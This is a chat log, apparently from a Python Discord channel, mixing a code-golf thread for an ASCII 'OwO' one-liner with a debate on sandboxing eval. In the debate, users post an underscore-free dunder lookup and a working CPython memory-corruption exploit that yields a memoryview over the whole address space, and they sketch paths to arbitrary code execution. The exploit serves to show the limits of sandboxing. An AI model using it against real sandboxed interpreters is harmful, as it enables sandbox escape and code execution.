https://docs.google.com/document/d/1zFWfE5BFaaHaB0Lm1sr0DCMNbOCn-lfoH1tvyaaOb20/edit?usp=sharing
https://docs.google.com/document/d/1-TIWeoc_nX2t5yYFLcecWVpUxDnUCcZdekkdus8Pt6g/edit?usp=sharing
POWER = "AMOUNT" STRENGTH = "LEVEL INTENSITY" ENGINE = "MOTOR IN WHICH AN OPERATOR USES TO POWER A SYSTEM" SCAN = "ANALYZE A SPECIFIC WORD OR FIELD AND OR GIVE DATA2 ON THE ASKED INFORMATION TO SEARCH FOR" ANALYZE = "READ AND LOOK OVER" IMMUNE = "DOES NOT AFFECT" DOMAIN = "AREA OWNED AND CONTROL...
class CONNECTIONCLASSIFICATIONS: NETWORKBOUNADARIES = [0,1,2,3,4,5,6,7,8,9,10,11,12,13] NETWORKBOUNADARIES[0] = INPUT NETWORKBOUNADARIES[1] = OUTPUT NETWORKBOUNADARIES[2] = INCOMING NETWORKBOUNADARIES[3] = OUTCOMING NETWORKBOUNADARIES[4] = INGOING NETWORKBOUNADARIES[5...
THE,WORD,CONTROLS,IS,PLURAL THE,WORD,CONTROLLERS,IS,PLURAL THE,WORD,GUILDS,IS,PLURAL THE,WORD,ROUNDTABLES,IS,PLURAL THE,WORD,MOVEMENTS,IS,PLURAL THE,WORD,MOVES,IS,PLURAL THE,WORD,ROTATES,IS,PLURAL THE,WORD,ROTATIONS,IS,PLURAL THE,WORD,EDITORS,IS,PLURAL THE,WORD,SKILLSETS,IS,PLURAL THE,WORD,SKILLS...
THE,WORD,POWER,IS,A,NOUN THE,WORD,STRENGTH,IS,A,NOUN THE,WORD,ENGINE,IS,A,NOUN THE,WORD,SCAN,IS,A,VERB THE,WORD,ANALYZE,IS,A,VERB THE,WORD,IMMUNE,IS,A,NOUN THE,WORD,DOMAIN,IS,A,NOUN THE,WORD,VIRTUAL,IS,A,NOUN THE,WORD,SOUND,IS,A,NOUN THE,WORD,FREQUENCY,IS,A,NOUN THE,WORD,IMMUNITY,IS,A,VERB THE,W...
THE,WORD,POWER,IS,SINGULAR THE,WORD,STRENGTH,IS,SINGULAR THE,WORD,ENGINE,IS,SINGULAR THE,WORD,SCAN,IS,SINGULAR THE,WORD,ANALYZE,IS,SINGULAR THE,WORD,IMMUNE,IS,SINGULAR THE,WORD,DOMAIN,IS,SINGULAR THE,WORD,VIRTUAL,IS,SINGULAR THE,WORD,SOUND,IS,SINGULAR THE,WORD,FREQUENCY,IS,SINGULAR THE,WORD,IMMUN...
respectfully, what the fuck is this
Building a language from scratch using constants as a base, building a set of information to be compiled all at once using an RNN.
Every word has to be defined and that includes the words on the definition to go further. Once that is made, the language is made to function as a set of metadata like parameters that it pulls information from within by using similar information related to the existing terminology.
The logic behind it is simple. It can only use what is available to it. Once the classes are added, it acts as a form of structure for the parameters to form structure.
oh damn ok
Sorry should have said that first
Able to disable character length limiter.
that would be infinitely recursive, no?
since each word would be continually defined by more words
which are also defined by words
and so on
what now?
It's chosen to use with RNN because of the high complexity of frequency and patterns that are able to be used with it.
What I'm working with now is developing class and def functions and then attempting to make classmethod.
The way I want to teach it is using persistent memory to store the set of commands in ram as a form of recall. I'm making the structure and classes but need to find a way to put the classes first so that way I can use the words in the classes. I have an interface that compiles already. One compiles the definition of each word and the other compiles the word itself
how is the definition compilation not infinitely recursive
but why python syntax? wouldn't it have been easier to build your own parser that processes the input into a super simple tree?
unless you have some words which are given "constant" definitions, with no other words in them (i.e. stopping points for the recursion)
i really wanna see the code
im quite curious as well lmao
Add me on discord. What time zone you both in
why?
ah
12am here
its fine for you to message me whenever
i turn notifications off for when i sleep so it wont wake me up or anything
wdym add you? friends?
Yeah I don't mind
i'm eastern but DND is a lifesaver
I'm eastern time too
the game or Do Not Disturb?
im pretty sure you mean Do Not Disturb, but i feel a need to ask for clarification
It is because in Python, when you use the word and it has a definition that is within the word base, it will compile an error until the word within the definition is defined.
hm
Python will not compile the definition unless the words within the definitions are defined as well
so then how do you compile the first word definition
To compile the first word I had to define power
if it wont compile until all the words in it are defined
Which is why it took over 4 years
It did have some ups and downs. But I was only able to compile everything with the help of codeblocks running a c++ version to find errors, and a Unity 3D compilation of errors as well as serializing the whole language manually each word one by one
both tbh, but the latter
alr
honestly man I'm having trouble understanding your explanations
is there a paper on this?
Yes as a matter of fact and there is a new method other than binary for it to run
i would love to hear more, but this might not be the channel for extended discussion
mm no threads either
We could both start a group chat if that helps.
print(str("\n".join(["".join(["█"if 5<(((x-10)**2+(y-10)**2)**0.5)<7 or 5<(((x-40)**2+(y-10)**2)**0.5)<7 or(x==20 and 9<y<16)or(x==30 and 9<y<16)or(((x+y+3)%8>5)and(20<x<25)and(8<y<15))or(((8-(x-y+3)%8)>5)and(24<x<30)and(8<y<15))else" "for x in range(60)])for y in range(30)])))
!e
print(str("\n".join(["".join(["█"if 5<(((x-10)**2+(y-10)**2)**0.5)<7 or 5<(((x-40)**2+(y-10)**2)**0.5)<7 or(x==20 and 9<y<16)or(x==30 and 9<y<16)or(((x+y+3)%8>5)and(20<x<25)and(8<y<15))or(((8-(x-y+3)%8)>5)and(24<x<30)and(8<y<15))else" "for x in range(60)])for y in range(30)])))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 |
002 |
003 |
004 |
005 | ███████ ███████
006 | ████ ████ ████ ████
007 | ██ ██ ██ ██
008 | ██ ██ ██ ██
009 | ██ ██ ██ ██
010 | ██ ██ ██ ██
011 | █ █ █ █ █ █ █
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/kepopinaju.txt?noredirect
...
I shall golf once my internet returns
i was looking through the discord randomly n see that pop up instantly
quite the treat
preliminary golf 243
print('\n'.join(''.join(' █'[25<(x-10)**2+(y-10)**2<49or 25<(x-40)**2+(y-10)**2<49or(x==20and 9<y<16)or(x==30and 9<y<16)or(((x+y+3)%8>5)and(20<x<25)and(8<y<15))or((((x-y+3)%8)<3)and(24<x<30)and(8<y<15))]for x in range(60))for y in range(30)))
print('\n'.join(''.join(' █'[25<(x-10)**2+(y-10)**2<49or 25<(x-40)**2+(y-10)**2<49or(x==20and 9<y<16)|(x==30and 9<y<16)|(((x+y+3)%8>5)&(20<x<25)&(8<y<15))|(((x-y+3)%8<3)&(24<x<30)&(8<y<15))]for x in range(60))for y in range(30)))
small optimisations
228
major optimizations, 194 ```py
print('\n'.join(''.join(' █'[25<(x-10)**2+(d:=y-10)d<49or 25<(x-40)**2+dd<49or 9<y<16<x in{20,30}or(8<y<15)==1in((x+y+3)%8>5<x-15<10,(x-y+3)%8<3<x-21<9)]for x in range(60))for y in range(30)))
minor optimizations, 187
print('\n'.join(''.join(' █'[5<abs((z:=x+1j*y-10j)-10)<7or 5<abs(z-40)<7or 9<y<16<x in{20,30}or(9<y<16)and((x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60))for y in range(30)))
and -> &, 185 ```py
print('\n'.join(''.join(' █'[5<abs((z:=x+1j*y-10j)-10)<7or 5<abs(z-40)<7or 9<y<16<x in{20,30}or(9<y<16)&((x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60))for y in range(30)))
combined comparisons, 178 ```py
print('\n'.join(''.join(' █'[5<abs((z:=x+1j*y-10j)-10)<7or 5<abs(z-40)<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60))for y in range(30)))
anything possible with switching to mod stuff and cutting out the second for loop?
168 turn outside generator into explicit for loop```py
for y in range(30):print(''.join(' █'[5<abs((z:=x+1j*y-10j)-10)<7or 5<abs(z-40)<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
167 combined the two Os into one comparison
for y in range(30):print(''.join(' █'[5<min(abs((z:=x+1j*y-10j)-10),abs(z-40))<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
165 take advantage of the fact that x and y are already separated ```py
for y in range(30):print(''.join(' █'[5<min(abs(z:=x+1j*y-10j-10),abs(z-30))<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
158 combine the two Os even more ```py
for y in range(30):print(''.join(' █'[5<abs(x+1j*y-10j-[40,10][x<30])<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
aw
157 ```py
for y in range(30):print(''.join(' █'[5<abs(x+1jy-10j-10-30(x>30))<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
156
for y in range(30):print(''.join(' █'[5<abs(x+1j*y-10j-10-x//30*30)<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
wait
this one actually has a different W
from the original
it doesn't matter ig
an OwO is an OwO
still looks like a W
154 by Divisor * Quotient = Dividend - Remainder ```py
for y in range(30):print(''.join(' █'[5<abs(x+1j*y-10j-10-x+x%30)<7or-7<y-16<0<(x in{20,30}or(x+y+3)%8>5<x-15<10or(x-y+3)%8<3<x-21<9)]for x in range(60)))
here's an image of the current so as to not mess it up again
152 by adjusting the modulo inequalities, first one to turn 10->7 and second to remove the +3
for y in range(30):print(''.join(' █'[5<abs(x+1j*y-10j-10-x+x%30)<7or-7<y-16<0<(x in{20,30}or(x+y-3)%8<2<x-18<7or(x-y)%8>4<x-20<10)]for x in range(60)))
148 if we're fine with extra whitespace
for y in(r:=range(60)):print(''.join(' █'[5<abs(x+1j*y-10j-10-x+x%30)<7or-7<y-16<0<(x in{20,30}or(x+y-3)%8<2<x-18<7or(x-y)%8>4<x-20<10)]for x in r))
exec(bytes('潦⁹湩爨㴺慲杮⡥〶⤩瀺楲瑮✨⸧潪湩✨袖嬧㰵扡⡳⭸樱礪ㄭ樰ㄭⴰ⭸╸〳㰩漷㰷㘱〼⠼⁸湩㉻ⰰ〳潽⡲⭸⤳㠥㈼砼ㄭ㰸漷⡲⥹㠥㐾砼㈭㰰〱崩潦⁸湩爠⤩','u16')[2:]) 100 characters if you dont count bytes
I wrote a blog post a decade ago about crashing Python that tries to prevent malicious code: https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html Today I got a question about whether it's possible if you forbid underscores in the malicious code. I figured this channel would be up to the challenge.
eval() is tempting, but it’s truly dangerous. Here’s how common safety attempts can be circumvented.
x.__class__ is the same as type(x) at least
!e this gets the string for any dunder, without using ord encoding tricks you could probably detect for ```py
dunder = {n[2:][:-2]: n for n in dir([c for c in getattr(object, [n for n in dir(type) if 'subclasses' in n][0])() if 'weakref.ProxyType' in repr(c)][0])}.get
print(dunder('init'))
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
__init__
combined with getattr and setattr you can bypass underscores being blacklisted
i would say that it's possible but with a massive amount of work
as long as your backing interpreter is cpython anytime in the next 5 years, it will always be possible to wiggle through edge cases
even without constructing code objects you can get to arbitrary code exec at least 6 ways off the top of my head
and then you could use ROP or JOP to do whatever you want
what im thinking of is using something like ast.parse and then interpreting that
to check if the code does stuff that you don't want
that would work, as long as you only allow a limited subset
wdym "allow a limited subset"
a limited subset of python code
you would have to disable large chunks of the language in order to keep it secure, to the point it would be hard to call it python
i disagree
the primary tool would be recursion
any time a code object is constructed, recurse onto it to check the bytecode
that doesnt take into account other methods of code exec
and then do the same for other such events that allow things that you don't want to allow
such as?
how would you achieve memory corruption then?
race conditions with the garbage collector, abuse assumptions made in some builtin objects, use one of the bugs that have been patched in bypassable ways
can you provide an example
!e ```py
bytearray_mem = memoryview(bytearray(bytearray.basicsize)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.itemsize * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()
class Fake:
slots = ['value']
def del(self):
Fake.resurrect = self # this causes a leak at close, but without it we crash hard in gc
Fake.fake = self.value
Fake_mem = memoryview(bytearray(Fake.basicsize + (tuple.itemsize * 2))).cast('P') # add header otherwise GC complains
Fake_mem[2] = 1
Fake_mem[3] = id(Fake)
Fake_mem[4] = id(bytearray_mem) + bytes.basicsize - 1
Fake_mem = Fake_mem.tobytes()
bytes_mem = memoryview(bytearray(property.basicsize - (bytes.basicsize - 1))).cast('P')
for i in range(len(bytes_mem)):
bytes_mem[i] = id(Fake_mem) + bytes.basicsize - 1 + (tuple.itemsize * 2)
bytes_mem = bytes_mem.tobytes()
class Bug(property):
def new(self, *args, **kwargs):
return bytes_mem
p = property.new(Bug)
ns = p.getter(lambda:0)
mem = memoryview(Fake.fake)
print(mem, len(mem))``` this is one i sent a bit ago, it gets a memoryview over the entire process address space (0 -> PY_SSIZE_T_MAX)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
<memory at 0x7fda32538a00> 9223372036854775807
@versed eagle ^ that one exploits property
so no imports, and no code objects
and nothing that looks inherently malicious
a way to stop that would be
replace any pointer to a c function within builtin_function_or_method with a pointer to your own function that validates inputs first
lots of work, but possible, no?
how would you validate
it would be difficult (near impossible) to validate successfully while also detecting every bug
and at that point just patch them in python, but more will always pop up
at least for that bug specifically, could you not validate the addresses that memoryview reads/writes to before it reads/writes to them
how do you validate that
what determines whether a memoryview should have access to a given range
also, you don't need to make the memoryview over the entire space. It could just be over 8 bytes that happen to be a function pointer, then you can replace that pointer with the entry point to some form of shell code (ROP, JOP, whatever)
check the size of the object that it's meant to be viewing
if ptr > addr_of_object && ptr < addr_of_object + size_of_object then it's in the correct range and dereferencing can be allowed
in that example, I construct the bytearray manually, with fully controlled arguments. I control ptr and size_of_object
even if you can control size_of_object, how would you control ptr?
i build the bytearray, so i control the address of its buffer
bytearray_mem = memoryview(bytearray(bytearray.__basicsize__)).cast('P')
bytearray_mem[0] = 1 # refcount
bytearray_mem[1] = id(bytearray) # ob_type
bytearray_mem[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2 # ob_size
bytearray_mem = bytearray_mem.tobytes()``` @versed eagle these lines build the backing memory of the bytearray
i never set the address because it starts at 0
how could you do that? I never modified the memoryview directly
@rugged sparrow sorry, i missed all this. in the blog post, getattr is removed because __builtins__ is empty.
this is you modifying it, no?
so you would fully disable memoryview's in your "sandboxed" python?
i wouldnt call it sandboxed
i think that could be considered making them useless lol
also all of that code can be done without memoryviews
i just did it for ease of coding
this is more like shooting python in the leg and then chaining it down
rather than sandboxing
strings aren't meant to be mutable anyway
can you provide an example of that please?
hell, you could create memory with the correct shape using range_iterator
b''.join([
(1).to_bytes(8, 'little'),
id(bytearray).to_bytes(8, 'little'),
...
])```
and then you would construct a memoryview of that to get access to the process memory?
nope, i only do that as an example
you could leverage the bug to write a function pointer directly if you wanted to
the bug itself is the problem, the rest is just using various primitives to get it to do what you want
and python (like any language) has tons of primitives to build memory
directly or indirectly
- more specifically, that bug allows for a free of an arbitrary address, provided the first 8 bytes of that address equals 1
so, disallow any addresses where the first 8 bytes = 1
that seems simple to fix
alright, so increment all refcounts
so now you never free memory
if you add that hook, then now the bug triggers fine with address where the first 8 bytes equal 2
disallow self reference in __del__
the address that gets freed could have a pointer to a fake type
with a fake tp_del
and at that point you have arbitary code exec
check if the types are Real before getting attributes
how can you check if a type is real
check if it's valid
what defines valid
no arbitrary code exec
(fyi, you are not gonna win this one lmao)
i dont think an actual implementation is possible
it could be a valid type, but the instance is fake and holds a pointer that is freed by the types tp_free
oh well with that small caveat
it's the difference between testing that something is true for every single possible input and proving that something is true
if you were to build this system, you would have to be able to prove that it is safe for every possible input
e.g. in math, pythag theorem can be proven without testing every single possible input
if you were to actually build it*
which im not talking about doing
that is a very simple equation compared to complex computing
and there are many relatively straight forward math problems that cannot be proven
The Millennium Prize Problems are seven well-known complex mathematical problems selected by the Clay Mathematics Institute in 2000. The Clay Institute has pledged a US$1 million prize for the first correct solution to each problem.
The Clay Mathematics Institute officially designated the title Millennium Problem for the seven unsolved mathemat...
infinite time and computing power
yeah ik
the moment you say this, this discussion has no purpose
how so?
once you bring in infinite time, the theoretical system is useless
again, how so
you were saying that it's not possible at all
im saying that it's possible, but not practically possible
its not possible
not while allowing a full set of python syntax and the current implementation + spec
i mean the whole point was to disallow underscores
